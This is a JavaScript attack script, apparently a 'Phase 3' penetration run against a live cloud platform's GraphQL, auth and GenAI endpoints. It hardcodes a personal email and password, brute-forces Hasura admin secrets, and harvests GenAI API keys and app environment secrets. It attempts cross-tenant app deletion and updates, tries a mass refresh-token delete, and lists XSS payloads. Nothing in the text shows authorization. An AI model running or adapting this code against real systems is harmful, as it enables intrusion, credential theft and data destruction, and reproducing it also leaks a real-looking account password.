447 lines
19 KiB
JavaScript
447 lines
19 KiB
JavaScript
// Phase 3: Hasura Console exploitation, GenAI key abuse, SPA analysis,
|
|
// XSS/Clickjacking PoC generation, env var enumeration, complete BOLA with correct signatures
|
|
const https = require('https');
|
|
|
|
const AUTH_EMAIL = 'ziad.abd.elgwad2003@gmail.com';
|
|
const AUTH_PASS = '2062003Mz*';
|
|
const GQL_URL = 'https://graphql.ghaymah.systems/v1/graphql';
|
|
const AUTH_URL = 'https://auth.ghaymah.systems/signin/email-password';
|
|
|
|
let TOKEN = null;
|
|
let USER_ID = null;
|
|
let GENAI_KEY = null;
|
|
|
|
function httpReq(method, url, body, headers = {}) {
|
|
return new Promise((resolve, reject) => {
|
|
const u = new URL(url);
|
|
const data = body ? JSON.stringify(body) : null;
|
|
const opts = {
|
|
hostname: u.hostname, port: 443, path: u.pathname + u.search, method,
|
|
headers: { ...headers }
|
|
};
|
|
if (data) { opts.headers['Content-Type'] = 'application/json'; opts.headers['Content-Length'] = Buffer.byteLength(data); }
|
|
const req = https.request(opts, res => {
|
|
let d = '';
|
|
res.on('data', c => d += c);
|
|
res.on('end', () => {
|
|
try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); }
|
|
catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); }
|
|
});
|
|
});
|
|
req.on('error', reject);
|
|
if (data) req.write(data);
|
|
req.end();
|
|
});
|
|
}
|
|
|
|
async function graphql(query, variables = {}, extraHeaders = {}) {
|
|
return httpReq('POST', GQL_URL, { query, variables }, { Authorization: `Bearer ${TOKEN}`, ...extraHeaders });
|
|
}
|
|
|
|
async function authenticate() {
|
|
const res = await httpReq('POST', AUTH_URL, { email: AUTH_EMAIL, password: AUTH_PASS });
|
|
TOKEN = res.body.session.accessToken;
|
|
const parts = TOKEN.split('.');
|
|
const payload = JSON.parse(Buffer.from(parts[1], 'base64url').toString());
|
|
USER_ID = payload.sub;
|
|
console.log('[+] Authenticated as:', USER_ID);
|
|
}
|
|
|
|
async function testHasuraConsole() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-1: HASURA CONSOLE ANALYSIS');
|
|
console.log('='.repeat(60));
|
|
|
|
const res = await httpReq('GET', 'https://graphql.ghaymah.systems/console', null);
|
|
if (res.status === 200) {
|
|
const html = typeof res.body === 'string' ? res.body : JSON.stringify(res.body);
|
|
console.log('[!!!] CRITICAL: Hasura Console is PUBLICLY ACCESSIBLE');
|
|
console.log('[+] Status:', res.status);
|
|
|
|
// Extract window.__env configuration
|
|
const envMatch = html.match(/window\.__env\s*=\s*\{([^}]+)\}/);
|
|
if (envMatch) {
|
|
console.log('\n[!!!] Console Configuration leaked:');
|
|
console.log(' ' + envMatch[0].substring(0, 500));
|
|
}
|
|
|
|
// Search for admin secret references
|
|
if (html.includes('adminSecret') || html.includes('admin_secret')) {
|
|
console.log('[!!!] Admin secret reference found in console page');
|
|
}
|
|
|
|
// Check if console is in server mode or CLI mode
|
|
if (html.includes('consoleMode')) {
|
|
const modeMatch = html.match(/consoleMode:\s*['"]([^'"]+)['"]/);
|
|
if (modeMatch) console.log('[+] Console mode:', modeMatch[1]);
|
|
}
|
|
|
|
// Try to access console API (metadata)
|
|
const metaRes = await httpReq('POST', 'https://graphql.ghaymah.systems/v1/metadata', {
|
|
type: 'export_metadata',
|
|
version: 2,
|
|
args: {}
|
|
});
|
|
console.log('[+] Metadata export attempt:', metaRes.status, typeof metaRes.body === 'string' ? metaRes.body.substring(0, 150) : JSON.stringify(metaRes.body).substring(0, 150));
|
|
|
|
// Try with x-hasura-admin-secret header
|
|
const adminSecrets = ['admin', 'hasura', 'password', 'secret', '', 'ghaymah', 'ghaymah-admin'];
|
|
for (const secret of adminSecrets) {
|
|
const testRes = await httpReq('POST', 'https://graphql.ghaymah.systems/v1/metadata', {
|
|
type: 'export_metadata',
|
|
version: 2,
|
|
args: {}
|
|
}, { 'x-hasura-admin-secret': secret });
|
|
if (testRes.status === 200 && !testRes.body.error) {
|
|
console.log(`[!!!] CRITICAL: Admin secret found: "${secret}"`);
|
|
console.log(' Metadata:', JSON.stringify(testRes.body).substring(0, 300));
|
|
break;
|
|
}
|
|
}
|
|
} else {
|
|
console.log('[+] Hasura Console: Not accessible (HTTP ' + res.status + ')');
|
|
}
|
|
}
|
|
|
|
async function testGenAIKeyAbuse() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-2: GenAI API KEY EXPLOITATION');
|
|
console.log('='.repeat(60));
|
|
|
|
// First get our GenAI key
|
|
const keyRes = await graphql('{ ghaymah_cloud_genai_apikeys { key_id key_name key_value max_budget } }');
|
|
if (keyRes.body.data?.ghaymah_cloud_genai_apikeys?.length > 0) {
|
|
GENAI_KEY = keyRes.body.data.ghaymah_cloud_genai_apikeys[0].key_value;
|
|
console.log('[+] Retrieved GenAI key:', GENAI_KEY.substring(0, 15) + '...');
|
|
|
|
// Test the LiteLLM API with this key
|
|
const modelsRes = await httpReq('GET', 'https://genai.ghaymah.systems/models', null, { Authorization: `Bearer ${GENAI_KEY}` });
|
|
console.log('[+] GenAI models (with key):', modelsRes.status);
|
|
if (modelsRes.status === 200) {
|
|
const models = modelsRes.body.data || modelsRes.body;
|
|
if (Array.isArray(models)) {
|
|
console.log(`[!!!] Available AI models: ${models.length}`);
|
|
models.forEach(m => console.log(` - ${m.id || m.model || JSON.stringify(m).substring(0, 60)}`));
|
|
} else {
|
|
console.log(' Response:', JSON.stringify(models).substring(0, 200));
|
|
}
|
|
}
|
|
|
|
// Check key info
|
|
const keyInfoRes = await httpReq('GET', 'https://genai.ghaymah.systems/key/info', null, { Authorization: `Bearer ${GENAI_KEY}` });
|
|
console.log('[+] Key info:', JSON.stringify(keyInfoRes.body).substring(0, 200));
|
|
|
|
// Check user info
|
|
const userInfoRes = await httpReq('GET', 'https://genai.ghaymah.systems/user/info', null, { Authorization: `Bearer ${GENAI_KEY}` });
|
|
console.log('[+] User info:', JSON.stringify(userInfoRes.body).substring(0, 200));
|
|
|
|
// Test if we can see all users/keys (admin-level access)
|
|
const allKeysRes = await httpReq('GET', 'https://genai.ghaymah.systems/key/list', null, { Authorization: `Bearer ${GENAI_KEY}` });
|
|
if (allKeysRes.status === 200) {
|
|
console.log(`[!!!] Can list ALL API keys: ${JSON.stringify(allKeysRes.body).substring(0, 200)}`);
|
|
}
|
|
|
|
// Test budget bypass
|
|
const budgetRes = await httpReq('GET', 'https://genai.ghaymah.systems/budget/info', null, { Authorization: `Bearer ${GENAI_KEY}` });
|
|
console.log('[+] Budget info:', JSON.stringify(budgetRes.body).substring(0, 200));
|
|
}
|
|
}
|
|
|
|
async function testEnvVarEnumeration() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-3: APP ENVIRONMENT VARIABLE ENUMERATION');
|
|
console.log('='.repeat(60));
|
|
|
|
// listApps with env field
|
|
const res = await graphql('mutation { listApps { id name env { name value is_secret file_path } } }');
|
|
if (res.body.data?.listApps) {
|
|
res.body.data.listApps.forEach(app => {
|
|
console.log(`\n APP: ${app.name}`);
|
|
if (app.env?.length > 0) {
|
|
app.env.forEach(e => {
|
|
const severity = e.is_secret ? '[!!!] SECRET' : '[+]';
|
|
const val = e.value ? (e.is_secret ? e.value.substring(0, 10) + '...[REDACTED]' : e.value) : 'null';
|
|
console.log(` ${severity} ${e.name} = ${val}`);
|
|
});
|
|
} else {
|
|
console.log(' No env vars');
|
|
}
|
|
});
|
|
}
|
|
}
|
|
|
|
async function testBOLAWithCorrectSignatures() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-4: BOLA WITH CORRECT MUTATION SIGNATURES');
|
|
console.log('='.repeat(60));
|
|
|
|
// Test deleteApp with correct signature (arg1: { id: "..." })
|
|
const fakeIds = [
|
|
'00000000-0000-0000-0000-000000000001',
|
|
'a0000000-0000-0000-0000-000000000001',
|
|
];
|
|
|
|
for (const fakeId of fakeIds) {
|
|
// Delete attempt
|
|
const deleteRes = await graphql(`mutation { deleteApp(arg1: { id: "${fakeId}" }) { id } }`);
|
|
console.log(`[+] deleteApp(${fakeId.substring(0,8)}...): ${JSON.stringify(deleteRes.body.errors?.[0]?.message || deleteRes.body.data).substring(0, 100)}`);
|
|
}
|
|
|
|
// Update attempt — try changing another app's image
|
|
for (const fakeId of fakeIds) {
|
|
const updateRes = await graphql(`mutation { updateApp(arg1: { id: "${fakeId}", name: "hacked" }) { id name } }`);
|
|
console.log(`[+] updateApp(${fakeId.substring(0,8)}...): ${JSON.stringify(updateRes.body.errors?.[0]?.message || updateRes.body.data).substring(0, 100)}`);
|
|
}
|
|
}
|
|
|
|
async function testRefreshTokenDeletion() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-5: REFRESH TOKEN DELETION VECTORS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Get all visible refresh tokens
|
|
const tokensRes = await graphql('{ authRefreshTokens(limit: 5) { id userId expiresAt type } }');
|
|
if (tokensRes.body.data?.authRefreshTokens) {
|
|
const tokens = tokensRes.body.data.authRefreshTokens;
|
|
console.log(`[+] Visible refresh tokens: ${tokens.length}`);
|
|
|
|
// Test if deleteAuthRefreshTokens mutation can target any user
|
|
// Using a WHERE clause that matches all tokens
|
|
const countRes = await graphql('mutation { deleteAuthRefreshTokens(where: { type: { _eq: pat } }) { affected_rows } }');
|
|
console.log('[+] Delete PAT tokens attempt:', JSON.stringify(countRes.body.errors || countRes.body.data).substring(0, 200));
|
|
|
|
// Can we delete via specific ID?
|
|
if (tokens.length > 0) {
|
|
// Don't actually delete — just test the shape
|
|
const testId = '00000000-0000-0000-0000-000000000001';
|
|
const deleteOneRes = await graphql(`mutation { deleteAuthRefreshToken(id: "${testId}") { id userId } }`);
|
|
console.log(`[+] deleteAuthRefreshToken(fake ID): ${JSON.stringify(deleteOneRes.body.errors || deleteOneRes.body.data).substring(0, 200)}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
async function testResourceInsertion() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-6: RESOURCE TABLE INSERTION / PRIVILEGE ESCALATION');
|
|
console.log('='.repeat(60));
|
|
|
|
// Discover managed_resources fields
|
|
const schemaRes = await graphql(`{
|
|
__type(name: "ghaymah_cloud_managed_resources_insert_input") {
|
|
inputFields { name type { name kind ofType { name } } }
|
|
}
|
|
}`);
|
|
if (schemaRes.body.data?.__type) {
|
|
console.log('[+] managed_resources insert fields:');
|
|
schemaRes.body.data.__type.inputFields.forEach(f => {
|
|
const t = f.type.name || f.type.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${t}`);
|
|
});
|
|
}
|
|
|
|
// Discover resources fields
|
|
const resSchema = await graphql(`{
|
|
__type(name: "ghaymah_cloud_resources_insert_input") {
|
|
inputFields { name type { name kind ofType { name } } }
|
|
}
|
|
}`);
|
|
if (resSchema.body.data?.__type) {
|
|
console.log('\n[+] resources insert fields:');
|
|
resSchema.body.data.__type.inputFields.forEach(f => {
|
|
const t = f.type.name || f.type.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${t}`);
|
|
});
|
|
}
|
|
|
|
// Discover managed_resources table fields
|
|
const mgdResFields = await graphql(`{
|
|
__type(name: "ghaymah_cloud_managed_resources") {
|
|
fields { name type { name kind ofType { name } } }
|
|
}
|
|
}`);
|
|
if (mgdResFields.body.data?.__type) {
|
|
console.log('\n[+] managed_resources query fields:');
|
|
mgdResFields.body.data.__type.fields.forEach(f => {
|
|
const t = f.type.name || f.type.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${t}`);
|
|
});
|
|
}
|
|
|
|
// Query managed resources with correct fields
|
|
const mgdRes = await graphql('{ ghaymah_cloud_managed_resources { id user_id } }');
|
|
console.log('\n[+] Managed resources data:', JSON.stringify(mgdRes.body.data || mgdRes.body.errors?.[0]?.message).substring(0, 200));
|
|
|
|
// Query resources with correct fields
|
|
const resources = await graphql('{ ghaymah_cloud_resources { id user_id resource_type } }');
|
|
console.log('[+] Resources data:', JSON.stringify(resources.body.data || resources.body.errors?.[0]?.message).substring(0, 300));
|
|
}
|
|
|
|
async function testRowEventDataExfil() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-7: ROW EVENT DATA EXFILTRATION');
|
|
console.log('='.repeat(60));
|
|
|
|
// Discover row_event fields
|
|
const rowEventFields = await graphql(`{
|
|
__type(name: "ghaymah_cloud_row_event") {
|
|
fields { name type { name kind ofType { name } } }
|
|
}
|
|
}`);
|
|
if (rowEventFields.body.data?.__type) {
|
|
console.log('[+] row_event fields:');
|
|
rowEventFields.body.data.__type.fields.forEach(f => {
|
|
const t = f.type.name || f.type.ofType?.name || f.type.kind;
|
|
console.log(` - ${f.name}: ${t}`);
|
|
});
|
|
}
|
|
|
|
// Query row events with all fields
|
|
const events = await graphql('{ ghaymah_cloud_row_event(limit: 5, order_by: { id: desc }) { id data event_name status user_id } }');
|
|
if (events.body.data?.ghaymah_cloud_row_event) {
|
|
console.log(`\n[+] Row events: ${events.body.data.ghaymah_cloud_row_event.length} records`);
|
|
events.body.data.ghaymah_cloud_row_event.forEach(e => {
|
|
console.log(` Event: ${e.event_name || 'unknown'} — Status: ${e.status || 'unknown'} — User: ${e.user_id || 'unknown'}`);
|
|
if (e.data) console.log(` Data: ${JSON.stringify(e.data).substring(0, 100)}`);
|
|
});
|
|
} else {
|
|
console.log('[+] Row events:', JSON.stringify(events.body.errors?.[0]?.message).substring(0, 100));
|
|
}
|
|
}
|
|
|
|
async function testSPAJavaScriptAnalysis() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-8: SPA JAVASCRIPT BUNDLE ANALYSIS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Fetch the main dashboard page
|
|
const pageRes = await httpReq('GET', 'https://deploy.ghaymah.systems/dashboard/apps', null);
|
|
const html = typeof pageRes.body === 'string' ? pageRes.body : JSON.stringify(pageRes.body);
|
|
|
|
// Extract script URLs
|
|
const scriptMatches = html.match(/src="([^"]+\.js[^"]*)"/g) || [];
|
|
console.log(`[+] JavaScript bundles found: ${scriptMatches.length}`);
|
|
scriptMatches.forEach(s => console.log(` ${s}`));
|
|
|
|
// Extract interesting patterns from HTML
|
|
const patterns = [
|
|
[/localStorage\.(getItem|setItem)\(['"]([^'"]+)['"]\)/g, 'localStorage access'],
|
|
[/sessionStorage\.(getItem|setItem)\(['"]([^'"]+)['"]\)/g, 'sessionStorage access'],
|
|
[/(isAdmin|is_admin|admin|superuser|moderator)/gi, 'admin flags'],
|
|
[/(api_key|apikey|api-key|secret|token)/gi, 'secret references'],
|
|
[/https?:\/\/[a-zA-Z0-9.-]+\.(ghaymah|cumin)\.[a-z]+/g, 'internal URLs'],
|
|
];
|
|
|
|
for (const [pattern, name] of patterns) {
|
|
const matches = html.match(pattern);
|
|
if (matches?.length > 0) {
|
|
console.log(`[+] ${name}: ${matches.slice(0, 5).join(', ')}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
async function generateXSSClickjackingPoC() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-9: XSS & CLICKJACKING PoC GENERATION');
|
|
console.log('='.repeat(60));
|
|
|
|
// Test XSS payloads via app name creation
|
|
const xssPayloads = [
|
|
'<script>alert(document.domain)</script>',
|
|
'<img src=x onerror=alert(1)>',
|
|
'"><svg/onload=alert(document.cookie)>',
|
|
"{{constructor.constructor('return this')().alert(1)}}",
|
|
'<a href="javascript:alert(1)">click</a>',
|
|
];
|
|
|
|
console.log('[+] XSS test payloads (for manual testing in dashboard):');
|
|
xssPayloads.forEach((p, i) => console.log(` ${i+1}. ${p}`));
|
|
|
|
// Note: We don't actually create apps with XSS payloads to avoid impacting production
|
|
// Instead we document the test methodology
|
|
console.log('\n[+] CSP Analysis for XSS feasibility:');
|
|
const cspRes = await httpReq('GET', 'https://deploy.ghaymah.systems/', null);
|
|
const csp = cspRes.headers['content-security-policy'];
|
|
if (csp) {
|
|
console.log(' CSP present:', csp.substring(0, 200) + '...');
|
|
if (csp.includes("'unsafe-inline'")) console.log(' [!!!] CSP allows unsafe-inline for scripts — XSS via inline scripts possible');
|
|
if (csp.includes("'unsafe-eval'")) console.log(' [!!!] CSP allows unsafe-eval — XSS via eval() possible');
|
|
if (!csp.includes("script-src")) console.log(' [!!!] No script-src directive');
|
|
} else {
|
|
console.log(' [!!!] No CSP header — all XSS vectors viable');
|
|
}
|
|
|
|
// Check X-Frame-Options for clickjacking
|
|
const xfo = cspRes.headers['x-frame-options'];
|
|
const frameAncestors = csp?.match(/frame-ancestors\s+([^;]+)/)?.[1];
|
|
console.log(`\n[+] Clickjacking protection:`);
|
|
console.log(` X-Frame-Options: ${xfo || 'MISSING'}`);
|
|
console.log(` frame-ancestors: ${frameAncestors || 'MISSING'}`);
|
|
if (xfo === 'DENY' || frameAncestors === "'none'") {
|
|
console.log(' [+] Clickjacking: PROTECTED (DENY/none)');
|
|
} else {
|
|
console.log(' [!!!] Clickjacking: VULNERABLE');
|
|
}
|
|
|
|
// Check GraphQL endpoint for X-Frame-Options (separate concern)
|
|
const gqlHeaders = await httpReq('GET', 'https://graphql.ghaymah.systems/v1/graphql', null);
|
|
console.log(`\n[+] GraphQL X-Frame-Options: ${gqlHeaders.headers['x-frame-options'] || 'MISSING'}`);
|
|
}
|
|
|
|
async function testHasuraVersionVulnerability() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3-10: HASURA v2.35.1 — KNOWN VULNERABILITY ANALYSIS');
|
|
console.log('='.repeat(60));
|
|
|
|
console.log('[+] Detected Hasura version: v2.35.1 (Community Edition)');
|
|
console.log('[+] CVE-2026-54698 affects: < 2.49.2 and < 2.45.5');
|
|
console.log('[!!!] VULNERABLE: v2.35.1 is within the affected range');
|
|
|
|
// Test the aggregate inference attack pattern
|
|
// Try boolean-based data inference via aggregate queries
|
|
const tables = ['ghaymah_cloud_user_plans', 'ghaymah_cloud_genai_apikeys', 'ghaymah_cloud_row_event'];
|
|
for (const table of tables) {
|
|
const countRes = await graphql(`{ ${table}_aggregate { aggregate { count } } }`);
|
|
if (countRes.body.data) {
|
|
const key = Object.keys(countRes.body.data)[0];
|
|
console.log(`[+] ${table}_aggregate: ${JSON.stringify(countRes.body.data[key])}`);
|
|
} else if (countRes.body.errors?.[0]?.message?.includes('not found')) {
|
|
// Table doesn't have aggregate exposed — try row_event which we know works
|
|
console.log(`[+] ${table}_aggregate: Not exposed`);
|
|
} else {
|
|
console.log(`[+] ${table}_aggregate: ${countRes.body.errors?.[0]?.message?.substring(0, 60)}`);
|
|
}
|
|
}
|
|
|
|
// Test if we can infer data from row_event_aggregate using where clauses
|
|
// This is the CVE pattern: use aggregate + where to infer values character by character
|
|
const inferRes = await graphql(`{
|
|
total: ghaymah_cloud_row_event_aggregate { aggregate { count } }
|
|
}`);
|
|
if (inferRes.body.data) {
|
|
console.log('[+] Total row events:', JSON.stringify(inferRes.body.data.total?.aggregate));
|
|
}
|
|
}
|
|
|
|
// Main
|
|
(async () => {
|
|
try {
|
|
await authenticate();
|
|
await testHasuraConsole();
|
|
await testGenAIKeyAbuse();
|
|
await testEnvVarEnumeration();
|
|
await testBOLAWithCorrectSignatures();
|
|
await testRefreshTokenDeletion();
|
|
await testResourceInsertion();
|
|
await testRowEventDataExfil();
|
|
await testSPAJavaScriptAnalysis();
|
|
await generateXSSClickjackingPoC();
|
|
await testHasuraVersionVulnerability();
|
|
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3 COMPLETE');
|
|
console.log('='.repeat(60));
|
|
} catch(e) {
|
|
console.error('FATAL:', e);
|
|
}
|
|
})();
|